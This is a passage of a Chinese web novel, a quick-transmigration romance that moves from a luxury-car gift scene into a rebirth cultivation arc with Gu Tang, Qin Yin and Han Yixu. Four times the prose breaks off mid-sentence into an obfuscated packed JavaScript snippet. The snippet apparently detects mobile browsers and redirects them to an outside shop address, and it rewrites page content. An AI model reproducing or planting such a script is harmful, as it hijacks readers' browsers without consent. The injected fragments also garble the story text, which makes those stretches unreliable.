这是一所公立学校,里面有1/3是顾棠和周远麟这种家庭背景雄厚的学生,还有大部分是普通人家的孩子,当然,像赵培这种因为各种原因被招进来的穷学生也有一些。 赵培是因为齐晏的“好心”被送入这所学校的,在他知道的那些人里面还有因为学习成绩突出被学校花重金招进来撑场面的好学生,还有极少的几个就是被招进来专门供给那群纨绔子弟当小跟班找乐子的。 生活在底层的人,总要比别人更早接触到这社会的阴暗面,赵培一进学校就能了解到这些也是因为他的穷人家孩子的身份,顾棠就从来都不知道自己身边还有这种同学。 “我也看不懂啊,看看嘛…如果我们这种人什么都懂的话,那还要导购干什么?”顾棠愤愤不平的样子就像是被齐晏内涵的是他自己一样。 顾棠是在为自己出头吗?赵培有些心慌,但心里更多的是甜蜜。 他也不知道自己在沾沾自喜个什么劲儿,他和对方完全是两个不同世界的人,很可能就算奋斗一辈子也无法和对方扯上什么关系…毕业后,很大概率会一辈子都见不到了。 “你的意思是我是导购喽?”齐晏挑挑眉,揉揉他的头发,表情无奈又怅然。“你呀…也就仗着我拿你没办法了。” 顾棠只是笑了笑,没搭话,心思却已经急转了起来。 很好,他现在决定把任务内容改成让主角攻受对他情根深重了!这种任务对他来说不就跟洒洒水一样吗? 有时候,如果不能改变某些事情的话就勇敢的去接受它!这才是人生的真谛啊!顾棠悟了。 他刚才也有一直注意着赵培的表情的,很明显的看到对方在面对齐晏的阴阳怪气时表情没有丝毫变化,但是等到自己为他“出头”过后脸色却变了一下。 嘴角上扬了15°,但下一秒又压了下去,可以看得出来,赵培在极力的压抑这种感情,可能还有不少顾忌…反正顾棠能确定这家伙心动的对象也不是他想象中的主角攻齐晏了。 他只是对别人情绪的变化不太敏感,但这并不代表他的眼睛是瞎的,心也是瞎的。 齐晏看着就一副对这些东西很懂的样子,讲起来的时候也是滔滔不绝的,把一旁站着的导购都看呆了, 导购小哥指向那辆车的那只手愣愣的停在空中,放下好像也不太好,陷入了两难的境地。 “这辆挺不错的,符合你的气质,要不要上去坐坐?”齐晏为他打开了车门,露出车里的装饰和宽敞的内部空间。 事实证明,顾棠并不是不喜欢这种东西,只是之前没了解过而已…听着对方的描述,他心里也有点小悸动,犹豫着坐进了主驾,一脸新奇的握住了方向盘。 几百万的车就是不一样…这手感,这座椅…一切都充满着金钱的腐败味道,但是怎么就这么招人喜欢呢? 顾棠打量着眼前的各种装置,眼神一个个扫了过去,又兴致缺缺的移开。 他做任务这么多次,豪车也开过不少,但他并不喜欢开车,通常他都是坐后座或者副驾驶的那个。 在哪个世界身份低微的时候就坐副驾驶,身份显著的时候就理所当然的坐在后座了,也不知道是哪来的隐形规矩,顾棠不理解,但是说实话,还挺享受的。 这辆车在这个价位上来说中规中矩吧,挺适合一个有些钱的新手开的,齐晏对他还是下了心思的…也可能是想在赵培面前炫耀自己的知识面广? 现在顾棠完全不觉得这俩人好磕了,亏他之前还总觉得两人身边都围绕着粉红色泡泡…现在看来那哪里是粉红色泡泡啊?明明就是弥漫着的硝烟。 “累了吗?喝口水吧。” 顾棠从车上下来,赵培手里拿着一瓶依云递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479738|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,温温柔柔的样子,几乎会让人下意识就觉得他是个没什么攻击力的人。 顾棠其实一点都不累,反倒是齐晏已经讲的口干舌燥了,顾棠看见他嘴巴都干燥的快要起皮了。 “谢谢啦,你真贴心。”顾棠笑眯眯的接过水,拧开瓶盖喝了一口,清凉的水进入喉咙里,让人神清气爽。 “今天这水怎么这么甜啊?是因为是小培递给我的吗?”顾棠捏着瓶身看了两眼,眨巴眨巴眼睛,眼睛清澈明亮。 赵培的脸一下子就红了,他顿时有些手足无措,僵硬的接过顾棠手里的水,继续拿在手里,余光却忍不住瞥了一眼一旁和导购交谈着的齐晏。 他觉得自己很卑劣。接受了人家给的好处却还不知满足,竟然觊觎上了对方青睐有加的人。 齐晏可能自己都没发觉,他看向顾棠的眼神跟看向其他人时有多么不同,缱绻中带着点别扭和欣喜,就像一个情窦初开的毛头小子。 赵培虽然也从没谈过恋爱,但是因为身处的社会环境他对这方面的了解还是比较多的,他身边就发生过不少,两个同样生活不如意的人背叛自己的家庭,偷偷纠缠在一起,相濡以沫。 生活的不如意,还是单纯的为了追求刺激? 每个人的情况都不一样,但可以肯定的是,就算他们在一起了也不会幸福,因为永远都活在见不得光的阴影下,就像阴湿下水道里的两只老鼠。 赵培觉得自己就是其中的一只老鼠,只不过他的想法更加大胆一点,也更加不要脸面一点。他觊觎天上的月亮,但却并不想那月亮跟自己一样活在阴影之下。 这时,齐晏手里拿着一个绿色小本子走过来,塞进顾棠手里,侧过身把赵培挡在身后,自己则是拦住顾棠的肩膀怅然轻叹一声。 “这辆车我买下来了,就当做补给你的成年礼物怎么样?你的18岁我没有参与,真是遗憾…但是你以后的人生我一定要参与的,好不好?” 顾棠翻开那个小本子看了看,上面写着一些车辆信息,还有车主姓名…那上面赫然写的是他的名字。 几百万的车说送就送?顾棠心里多少还是有点惊讶的。 现在,他跟齐晏的关系…怎么说呢?很奇怪。 明面上两人应该是大哥和小弟的关系,私下里瞧齐晏这幅样子,对顾棠的态度已经完全不加掩饰了。 这人以前一天连一个笑容都不带有的,现在却在顾棠面前总是笑的跟朵花儿一样,这前后的反差实在是再明显不过了。 “谢谢晏哥~这还是第一次有人送我这么贵重的礼物,晏哥送的东西我一定会珍藏起来的。” 才怪。 周远麟送过的东西很多都比这个还贵,还专挑顾棠喜欢的送,当然,顾棠也会赶着节假日或者对方生日的时候回送回去就是了。 朋友嘛,交往着交往着不就熟起来了吗?顾棠之前还天真的以为这样会增进两人之间的友谊呢,现在想来…不敢细想。 回到家之后,顾棠分别给齐晏和赵培发去了消息,然后就瘫在床上装死。 幸好这个世界已经快要结束了。 顾棠每次从小世界结束一次任务后都会接着进入下一个世界,风雨无阻,不是因为他有多敬业,纯粹是不想在时空局撞见熟人被缠着问东问西。 顾棠真的很害怕自己一个没留神让人知道了他完成任务的真实做法…太社死了。 14. 重生文里的原逆袭流主角(上) 逆袭流,顾名思义就是主角一开始的时候只是个普通人,后来通过各种机遇和自己的努力一点点提升自己,击败一个个炮灰反派最后达到顶峰。 但是现在网文界又出现了另一股潮流,那就是设计一个小说枉死的原有角色重生与主角作对,同时暴露出主角的各种性格缺陷,引起读者共情,反而将这一“炮灰”角色捧上神坛。 秦寅是这本书里的炮灰——现在该称为主角了,而顾棠就是这本书的原主角,注定要被重生后的“主角”清除的、成功路上的最大阻碍。 秦寅重生后的第一件事就是去看今天的日期。 “八月七日…” 今天是那少年初次接触到修真界门槛的日子,秦寅将这个日子记的很熟,因为少年的这场机遇正是和他的家族有关。 他们秦家可以说是修真世家了,每代都要出上几个有资质的少年,这一代里秦寅是几个兄弟姐妹里资质最好的,上辈子要不是在他即将突破之际顾棠突然出现横插一杠,他说不定就是同辈里最强的那几个年轻修士之一了。 培养出一名强大的修士几乎要倾尽家族之力才能做到,所以一个家族在几十年内只能将全部资源倾斜给一人,全力培养出一名修士。 秦寅的天赋是上乘的,他也早就被内定成了秦家下一代的家主,但是上天好像是诚心要给他找不痛快似的,让顾棠成为了秦家当代家主的养子。 偏偏这个人的天赋又跟他完全不是一个档次,就这样,顾棠的存在削减了一部分原本应该属于他的修行资源,让他的修炼进度频频被耽误,如果没有顾棠的存在也许他就不会在外出历练时被敌人伏击成功,命丧当场了。 既然上天给了他这么一次重生的机会,他一定要夺回原本属于自己的一切。 上辈子,因为别扭情绪作祟,他从来没亲眼见过顾棠的样子,只是从自己父母那里了解过对方。 他父母提到过最多的就是顾棠凄惨的身世和身上那股可怜劲儿,说来也是奇怪,明明是一个外人,但是顾棠的到来却遭到了秦家人一致的欢迎。 秦寅穿好衣服开上车直奔秦家老宅,路上,他脑子还是很清醒的,把等会进门要说的话都打好了腹稿,一时间充满了信心。 把车开到了地下车库,他回到老宅门前,门口的佣人一个个冲他弯腰施礼,嘴里唤着“大少爷”。 这个称呼现在听在耳朵里让他觉得很讽刺。 对啊,他可是秦家的大少爷,是真正和秦家人血脉相连的未来继承人,而顾棠只是一个摆不清自己位置的外来者…可那又怎样呢? 那个外来者还不是鸠占鹊巢得到了所有秦家人的关注和看重? 太阳还有一刻钟就要完全落下去了,客厅里早早开起了灯,照亮了沙发上坐着的几人,其中有一名少年极为显眼。 “爷爷,我回来了。”秦寅还没走出玄关就扬声朝客厅说了一句。 听说是因为秦老爷子这两年来耳朵出了问题,时常听不清人说话,所以秦家人来到老宅几乎都要先喊上一句,让老爷子知道来人是谁。 秦寅之前也把这个说法当了真,但顾棠到来之后秦家老爷子的病就像是全好了一样,无论顾棠说什么他都听得清,还听的津津有味,有时候两人甚至一聊就到半夜,全家人都知道顾棠深得老爷子青睐,也带着对他也高看了几分。 起点都这么高了,顾棠能攻下整个秦家也会容易许多。 秦寅在心里盘算着,这辈子他一定不能继续坐以待毙了,秦家人如何看他先放一边,秦家的资源他是一定要争取的,哪怕只是争取回一部分也行。 他走进客厅,第一眼就扫见了坐在他爷爷身边那名穿着一身廉价运动服的少年。 他又想起来了门口那双被刷的发白的鞋,还有进门会一直围绕在他身边的那股清新的味道。有点像阳光和露水混合起来给人的感觉。 之前他还以为这味道是家里佣人新换的空气清新剂或者哪个秦家人新买的香水,却原来是这少年身上的味道。 他就是顾棠吗? 秦寅一时间愣在了那里,呆呆的看着对方,半天都没有动作。 “小寅,杵在那里做什么?快过来。” 秦老爷子用拐杖敲了一下地板,身上那股属于家主的威严气质一下子就显现了出来。 秦寅恍然间回过神来,拘谨的坐在了秦老爷子另一边,目不斜视的盯着面前茶几上的杯子。 “你这是怎么了?突破不了金丹期受刺激了?” 秦老爷子纳闷的上下打量着他,像是突然想到了什么,将目光转向顾棠,眼神都变柔和了许多。 “他是我孙子,你们认识一下,时间也差不多了,我就先上楼休息去了,一会儿你就跟他回去吧,他住的那地方大,正好你住进去,我让他好好照顾你。” 顾棠这会儿也拘谨了起来,一连说了好几个“不用麻烦”,秦老爷子都当没听见似的,哼着歌就上了楼,脚步利索的一点都不像个年纪快到80岁的老头。 秦寅那点小心思他还能看不出来? 他可是从小看着这孩子长大的,知道自己这个小孙子人品上没得说,就是为人有些古板,不活泛,都21岁了,连个对象都没处过,说出去他都嫌丢人。 顾棠是个好孩子,相貌端正,也很有礼貌,白天刚救过他,人品方面也有保障,要是这两个孩子能结成一段姻缘也是很不错的。 而且就算顾棠不喜欢他这个孙子也没关系,他心里有底,秦寅根本没那个本事和胆子做出那些出格的事情来。 秦寅正襟危坐,之前想的那些说辞此刻全被他抛到了脑后,再加上他爷爷也上了楼,此刻客厅里只有他们两个人,他就更不知道该说些什么了。 跟幻想中的仇人第一句见面应该说什么?我好像对你一见钟情了,能不能给我你的联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479739|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系方式…啊呸呸呸,他怎么突然想到这里来了! 此人之魅力,恐怖如斯!怪不得能让秦家众人都对他印象这么好…看来除了天赋,这少年身上是有点其他神异之处在的。 “秦寅哥,你好…” 秦寅突然浑身打了个激灵,转过头像是看什么怪物似的看着他,把嘴角扬起了一点笑意的顾棠吓了一跳,心里刚升起的一点勇气就这么烟消云散了。 是他叫的称呼有什么不对吗?顾棠有些委屈,但是寄人篱下的他并没有声张,而是决定默默忍受… 于是秦寅就悲催的发现自从他抬起头以后顾棠就低下头再也没抬起来过头,秦寅还以为他是讨厌自己,不愿意跟自己对视才这般举动的。 两个自认为讨人厌的人之间的气氛就这么凝重了起来,又过了10分钟,还是顾棠先沉不住气了。 “秦少,能加个联系方式吗?以后你在的时候我会少出现在秦家,不会给你添麻烦的。” 顾棠很真诚,无论是脸上的表情还是语气神态都没有任何问题,他这种真诚不像是仅停留在表面,更像是深入骨髓、由内往外渗透出来的。 “啊?哦哦…不麻烦不麻烦。”秦寅大脑一片空白的迎合着他,拿出手机点开聊天软件让他扫码,然后在他歉意中又带着三分尴尬的目光中逐渐恢复理智。 …等等,他这次回来的目的是什么来着? “你…你不用管我,什么时候来都行,爷爷他很喜欢你。”秦寅尝试给自己的行为找个合适的理由。 顾棠却摇了摇头,脸上依旧带着温吞的笑容,“我能看出来你不喜欢我,况且…秦老只是说让我来多陪陪他,如果你能多回来陪陪他的话,可能他就不需要我了。” 这少年还真是善良,话里话外的意思分明就是不想给这个家添麻烦…这样的人真的会是他印象里的那个抢占了他位置和资源的恶人吗? “我…我没有讨厌你。” 扫完码之后,顾棠就把手缩了回去,一副很不愿意和他过多接触的样子,看得秦寅心里一阵不是滋味,开口想解释,然而再怎么努力也只能干巴巴的说出这么一句。 “没关系的,每个人都会有讨厌的人。” 顾棠添加上了他的好友,随后就起身往门口走去,挺拔的背影看上去就精气神很足的样子。 也怪不得对方的修行天赋比自己强了,活的通透,又招人喜欢,这种人怎么可能生活的很差劲呢? 秦寅起身跟着他到门口,欲言又止,有心想挽留他,但是话到了嘴边又被他咽了回去。 “秦少,改天见。”顾棠穿好自己的那双被刷的发白的运动鞋,又拿起了架子上的一件外套,回头朝他笑了笑。 “嗯…嗯。”秦寅愣愣的朝他挥手,耳边仿佛都听到了自己难以抑制的心跳声。 改天见…他们以后真的还会再见面吗? 顾棠还愿意见自己吗? 15. 重生文里的原逆袭流主角(中) * 如果秦寅是个蛮横不讲理的富家少爷,顾棠可能就真想要留在秦家了。 他当然能看得出秦老爷子很喜欢他,能让一个行将就木的老人在生命的最后一段时间里心情愉悦些,这是顾棠愿意去做的事情。 可秦寅不是。虽然这人看着有些呆呆的,但是对自己爷爷的关心却不似作假。 既然秦寅不喜欢他,他心里的良知是不允许自己做出来闹得人家一家鸡犬不宁的恶事的。 更何况他自己也活的好好的,实在没必要依靠别人,总会被有心人看做是抱大腿的心机之辈这点顾棠也受不了。 离开秦家后,顾棠在别墅区里转悠了一个多小时才找到来时的路,又在路边左顾右盼了半天,终于在天色渐暗的时候打到了一辆车。 有钱人是很少坐出租车的,因为他们每家少说都有几辆车…顾棠也很少打车,因为顾棠没那个闲钱。 他从小就是孤儿,因为小时候生了一场大病,落下了病根,一年四季只要一受刺激就会咳嗽不止,所以直到16岁都没有人愿意领养他。 要说他心里一点都不渴望家庭的温暖是不可能的,实际上自从他被赶出孤儿院独自在这社会上求生时,他心里就已经幻想了无数遍未来自己事业有成家庭美满的样子了。 之前,这种想法只能算是一种慰藉,但是一切都在他考上了首都的一本大学时变得不一样了。 或许他对自己的未来的那番幻想真的能够实现。顾棠想。 到了附近,顾棠拿出刚才秦老爷子非要送给他的新款手机扫码付了20块钱,心里痛的像是要滴血。 那个和蔼的老爷爷其实原本还要给他一张余额1000万的卡来着,但是顾棠礼貌的拒绝了,这只手机却是没退脱掉,顾棠刚刚还上网搜了这个款式的价格,足足要2万块! 如果省吃俭用一点的话,可能都足够他大学两年的生活费了… 想到这里,他爱惜的抚摸了两下亮的反光的手机屏幕,然而一个没注意,迎面驶来一辆货车,他来不及躲避,只能眼睁睁的看着那辆火车——在离自己仅有一厘米时从自己身体里穿了过去。 货车飞驰而过,很快就消失在了道路尽头,顾棠还呆呆的站在原地,过了好一会儿才脚步慌乱的跑到了人行道。 他整个人都是懵的,又反应了一会儿,他脑袋里突然冒出了个很不着调的想法…刚才那辆车是不是闯红灯了? 哦不对,他们这破地方根本就没有红灯,连监控都没有,更甚至他身上一点血和受伤的痕迹都没有,根本无法判对方肇事逃逸。 顾棠郁闷极了,唯一让他感到有些安慰的事情就是手里的新手机没有被他慌乱间扔出去,还好端端的被他拿在手里。 他没有发现的是,原本被他挂在脖子上的那枚玉坠已经破碎了,留在他脖子上的只剩下一条空荡荡的红色绳结随风摇摆着。 * 秦寅再见到顾棠的时候是在一场宴会上,那少年的精气神都不一样了,站在一名年轻人身边,挺拔的身形像是一根青竹。 这辈子对方又找了其他家族做跳板。看着顾棠的身影,秦寅默默想着。 “秦少,好久不见,听说你最近又突破了?” 那名年轻人注意到了他的目光,笑着上前向他敬酒,顾棠也和他对视了一瞬,朝他礼貌性的一笑。 “嗯,只是运气好而已。” 秦寅和他碰了下杯,喝了一口酒,眼神却始终直勾勾的盯着他身后的顾棠。 “他叫顾棠,是我父母前几天招揽的修行天才,跟你一样,也是金丹期修为,他还答应以后要教我提升修为的窍门呢。” 韩一叙大大方方的跟他介绍着顾棠,眉眼带笑,怎么看怎么和善,但是在现在的秦寅看来却都像是炫耀和嘲笑。 顾棠原本应该是他们秦家的人,帮秦家从这京城十几个修行世家中脱颖而出,一路高升,成为京城第一家族,但秦寅却亲手毁灭了这一可能。 因为秦寅不想死。在他看来,顾棠的入主秦家和他遇袭身亡几乎是脱不开干系的,他只是太想活下去了。 “秦少,好久不见。” 顾棠看不出他心里的弯弯绕绕,清澈的眼底看不出一丝恶意,微微弯起的眼眸中倒映着他的身影,清泠泠的,坦坦荡荡。 “…韩家待你好吗?” 顾棠不理解他为什么会这么问,但还是回答道,“很好,我很喜欢现在的生活。” …也是,顾棠这种性格的人在哪里都会招人喜欢的,秦家的庇护对他来说可能这是可有可无的存在吧。 看着两人走远,秦寅清醒了过来,感受了一□□内奔涌的灵力,觉得自己不能再这么颓废下去了。 “小顾师傅,你和刚才那个人怎么认识的?他们家也招揽过你吗?” 一连和十几个人寒暄过后,韩一叙悄悄把他拉到一边小声问道。 顾棠犹豫了片刻,摇了摇头,“秦家没有招揽过我,我只是之前和秦家那位老人偶然结识过,但和这位秦少爷并不算多熟。…能不要这么叫我吗?有点像修空调的。” 韩一叙很随和,有些时候甚至有些吊儿郎当的,但人品方面没得说,所以顾棠在面对他时也少了些拘束,相比起秦寅要更自然一些。 “那我怎么叫你…您,棠棠师傅?棠棠老师?” 顾棠连连摆手,“这怎么敢…我现在的行为还上不得台面,实在担不起你的敬称。” “老师您就别谦虚了,您这修炼速度,我从小到大少说也见过十几个天才,他们那令人称道的修行速度在你面前都被逼比成了渣!我爷爷都说了,只要我能得到您真传的1/10也行啊!让我当着这么多人的面,现在就跪下行拜师礼都成。” 韩一叙说着就要往地上跪了,顾棠连忙拉住他,眼睛都被吓得瞪大了。 “可千万别!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479740|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、我还想过几天太平日子呢,不想太张扬…你也是,”说到这里,顾棠顿了一下,“作为我的学生,你也要继承老师的衣钵,对吧?” 韩一叙狂点头,眼睛晚起的弧度和瞳孔中闪烁着的惊喜神情恰到好处,就像精心计算过一样——事实上也确实如此。 他别的本事没有,在家族里混了这么多年,除了运气因素影响,他最懂得的就是在长辈面前察言观色了。 顾棠攥住他的手半天都没放开,盯着他的眼睛看了半天才终于放下了心来,郑重的拍了拍他的肩膀。 “跟着我好好学习,以后一定要做一个对国家有用的人才,知道吗?” 他系统里的功法是可以传授给旁人的,而且都说背靠大树好乘凉,他这也算是为踏入修行界,提前给自己找好靠山了。 就是这个靠山好像有点过分热情。 带顾棠来参加宴会是韩一叙的提议,他本意其实是借着这种大场面挫一挫顾棠的锐气,让他以后不要想着能踩在自己头上,但昨天晚上第一次见到这位长辈口中的少年天才,他的想法变了。 找这样一位看上去赏心悦目的小老师似乎也不是什么坏事,就算性格差点,他也能为了对方这张温软又漂亮的脸多一分忍耐。 宴会结束后,韩一叙厚着脸皮让司机把车停在了自己名下的一栋别墅门前,仗着方便教学的说辞非要顾棠住下,顾棠推脱了几下还是拗不过他,答应了下来。 “小老师,你就住我隔壁那间吧,对了,你饿不饿?我给你煮碗面去。” “不用麻烦了…” 顾棠跟着他上前几步,最终停在了厨房门口,看着他手忙脚乱的背影,咬了咬唇。 顾棠就是这样,感受了一点别人的善意就慌了神,马上就想找方式报答回去,这种心理也不知道是不想和人继续相处下去还是单纯不想欠人家的。 两人面对面坐在饭桌旁边吸溜着面条,韩一叙大大咧咧的发出声音,顾棠则是安安静静的一口一口的往嘴里送着面条。 方便面加上挂面,味道很清淡,却让人感觉很温馨。除了在食堂,顾棠还从来没和一个不熟悉的人在同一个桌子上吃过饭,他产生了一种很奇怪的感觉。 就好像他们已经朝夕相处了很久,哪怕是面对面坐着都可以有一种心照不宣的默契一样。 吃完面条,把碗放进水池里洗干净放到灶台上,顾棠终于下定决心今天晚上就把新抽中的功法教给韩一叙了。 本来他想着先多观察观察韩家年轻一代的性格和人品的,很可惜,韩家老爷子并没给他这个机会,还把自己最寄予厚望的一个孙子直接送到了他面前。 顾棠现在能确定韩一叙这个人值得教了,既然早晚要教,还不如今晚就开始。 韩一叙刚从浴室出来就看见顾棠站在离他几步远的沙发旁,眼神带着审视扫着他。 “…小老师,你站在这儿是想让我帮你洗澡吗?” 16. 重生文里的原逆袭流主角(下) 顾棠吓得差点一屁股坐到沙发上。 “你在口出什么狂言?!” 听见顾棠带着一丝颤抖的声线,韩一叙才反应过来是自己口嗨过度了,慌慌张张的道歉。 “抱歉抱歉!刚才跟朋友发消息来着,一时没转过弯来冒犯到老师了,都怪我,老师别生气好吗?” “没生气,就是以前从来没人跟我说过这种话,你…你没错,是我思想不干净。” 这个韩家大少爷只是说话有些不着调,人品应该是没什么问题的,会说出这种话也许只是因为…太自来熟了? 要知道他们两人一共都没说上过几句话,今天才是第二次见面啊!顾棠很不理解为什么对方会把他当做熟人看待。 韩一叙又絮絮叨叨的解释了一大堆,顾棠松开的眉头又逐渐皱了起来,内心一种烦躁感油然而生,又半个小时过去了,他终于不堪其扰把一本功法拍在了对方胸口。 灵力注入进去,功法随之消失不见,韩一叙只觉得有一股暖流从胸口直通四肢百骸,浑身都暖洋洋的,所有的经脉都被冲刷了一遍,似乎变得更坚韧了。 “…小老师,你…你这是什么能力?!竟然能直接把功法传到我体内!”韩一叙这下子是真震惊了。 他从来没想过世界上会有这么一个人能无视另一个人资质的高低直接将自己的功法传给对方,这也太神了吧?就顾棠这种功力看来,普通人都能修仙了! 虽然资质代表着是修行速度的快慢,但是那些资质低的人却大多都是被引灵气入体就卡在了门外,就更别提感悟功法了,不过有了顾棠,能让他们直接跳过灵气入体这个阶段,直接过渡到按照功法里的内容按部就班的修炼。 “不要声张,这件事只有你一个人知道,我信得过你。”顾棠把手背到了身后,装作一副世外高人的模样。 不管怎样,反正显得逼格高点不会是坏事,韩一叙也大概率不会出去乱说。 毕竟谁又希望别人的修行速度比自己快呢?得到了这么大的一个助力,换做谁都会憋在心里沾沾自喜,会告诉别人才有鬼了呢。 “嗯嗯,我一定不出去乱说!小老师的话就是天!”边说他边伸出三根手指对天发誓,一脸的郑重,看着还挺像那么回事的。 顾棠分不清他这话中有几分真几分假,但是心里还是倾向于相信他的,没有别的原因,他只是相信自己的眼光和判断。 他好像天生就要对别人身上的恶意感受的明显一点,而他从始至终都没有对眼前这个人产生恶心或者抵触的情绪。 “嗯,晚安。” 说完顾棠转身就回了客房,轻轻把门关上,犹豫了片刻,还是没有上锁。 韩一叙作为房主肯定有所有房间的钥匙,他没必要这么自欺欺人,还不如坦坦荡荡一点。 晚上,顾棠躺在床上呼吸平稳,任谁看都是已经熟睡的样子,实际上他已经维持每天在自己的识海里修炼到天亮整整一个月了。 怎么说呢…修仙者的体魄是很强的,哪怕一个月没睡觉,他的身体都没有感觉到丝毫疲惫,反而比以前整日熬夜在外面兼职还要有精神许多。 他对自己的未来规划就是努力增强自己的修为,好好教导韩一叙,还有少和秦寅见面。 这最后一条是他新加上去的,他冥冥之中总觉得自己的未来会和这个秦家大少爷有所牵绊,但是还不知这种牵绊是好是坏,他的第一想法就是远离。 他不像别的修行者一样需要去那些秘境里和人争夺修行资源,因为他绑定的系统里自带所需的修行资源,凡是从他系统里抽出来的功法都有对应的修行资源,只不过需要进行对应的任务。 系统里的每个任务都很奇葩,比如说对某个人说出某句特定的话还要保证不引起那个人反感,或者做出某特定行为但让看见的人都觉得合理。 在他把新抽出来的功法传给韩一叙以后,对方的页面也出现在了他的系统里,一面往下滑并不是顾棠心里想的一连串的任务,而是一段标红大字写着的注意事项。 「附属者对功法持有者的忠诚度越高获得的增益效果就越明显,对应的修行速度就会越快。」 这段话看的顾棠有些牙疼。 “为什么我修行就要做那些根本不喜欢的事情…以后这家伙的修行速度不会超过我吧?” 他产生了巨大的危机感。 这段时间,顾棠的生活作息规律得像设定好的程序。 每天早上七点准时起床,在韩一叙别墅的露台练完一套基础灵力引导术,就钻进书房研究系统任务。 中午和韩一叙简单吃点东西,下午花两小时指导韩一叙修炼,其余时间全泡在识海里打磨修为。 他盯着系统面板上金丹后期的进度条,眼神比高考冲刺时还专注,满脑子都是尽快突破元婴期的念头。 “棠棠,你尝尝这个芒果班戟?城南老字号买的,用的都是进口芒果。”韩一叙端着甜品盘凑过来,身上还带着刚练完功的薄汗。 自从半个月前突破金丹中期,他对顾棠的崇拜又深了一层,不过称呼却是从“小老师”换成了更亲昵的“棠棠”。 语气里的恭敬没减,却多了些不自觉的讨好,这几天也总想着用各种方式刷存在感。 顾棠头也没抬,伸手接过叉子叉了一小块塞进嘴里。 甜而不腻的口感在舌尖化开,他含糊地说了句“还行”,目光立刻又落回系统面板。 新任务要求“让一位异性主动为你准备三次早餐”,这让向来不擅长打交道的他有些头疼,完全没注意到韩一叙悄悄打量他的眼神。 韩一叙看着他专注的侧脸,喉结动了动,没敢再多打扰。 他悄悄退到客厅,拿出手机给助理发消息。 [明天起,每天早上七点送最新鲜的食材到别墅,要能做不同风格的早餐,附详细食谱。] 发送成功后,他忍不住回头望了眼书房方向,嘴角不自觉上扬——能这样待在顾棠身边,偶尔得到一句肯定,对他来说就足够了。 另一边,秦寅的日子过得有些辗转。 自从宴会后,他几乎每天都要绕路经过韩家别墅,有时能远远看到顾棠在露台修炼的身影。 阳光落在顾棠身上,连周身流转的灵气都显得温柔,因上辈子的遭遇升起的那点怨恨也差不多要消散干净了。 他开始找各种“合理”的借口接近顾棠。 今天是“秦家新到了一批灵泉水,对修炼有好处,给你送点”,明天是“爷爷念叨你,让我问问你要不要去老宅吃顿家常菜”,后天又拎着两张修行论坛的讲座门票上门“朋友送的,我没时间去,你和韩少正好能用得上”。 可笑他还要考虑自己的做法会不会让对方在韩家的处境变得不利。 每次上门,他都装作随意的样子,眼神却总忍不住黏在顾棠身上,连他下意识皱起的眉头、喝水时微微扬起的脖颈,都悄悄记在心里。 顾棠对秦寅的频繁出现有些莫名,但也没过多拒绝。 秦寅送来的东西确实对修炼有帮助,而且对方态度真诚,不像有什么恶意。 只是每次面对秦寅过于灼热的目光,他都会下意识避开,总觉得这位秦家大少爷看他的眼神怪怪的,带着一种他读不懂的复杂情绪。 “棠棠,这周末有个修真圈的交流会,据说有不少前辈分享修炼心得,我们一起去吧?” 韩一叙小心翼翼地提议,眼神里满是期待。他最近发现秦寅对顾棠的心思不简单,心里难免有些危机感,总想多创造些独处机会。 顾棠刚想答应,手机就弹出了秦寅的消息:“交流会人多复杂,我刚好也要去,到时候可以一起,有个照应。” 他看着两条消息犹豫了一下,回复秦寅“好”,转头对韩一叙说。 “秦寅也去,到时候一起走。” 韩一叙脸上的笑容僵了瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479741|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随即又恢复如常,“也行,人多更热闹。” 心里却暗自盘算,到时候一定要寸步不离跟着顾棠,不能给秦寅可乘之机。 交流会当天,顾棠穿了件简单的白色连帽衫配黑色运动裤,清爽得像个普通大学生,韩一叙像个随从一样跟在他身边,腰杆挺得笔直。 顾棠没有在意周围人的眼光,和韩一叙找了个角落的位置坐下。 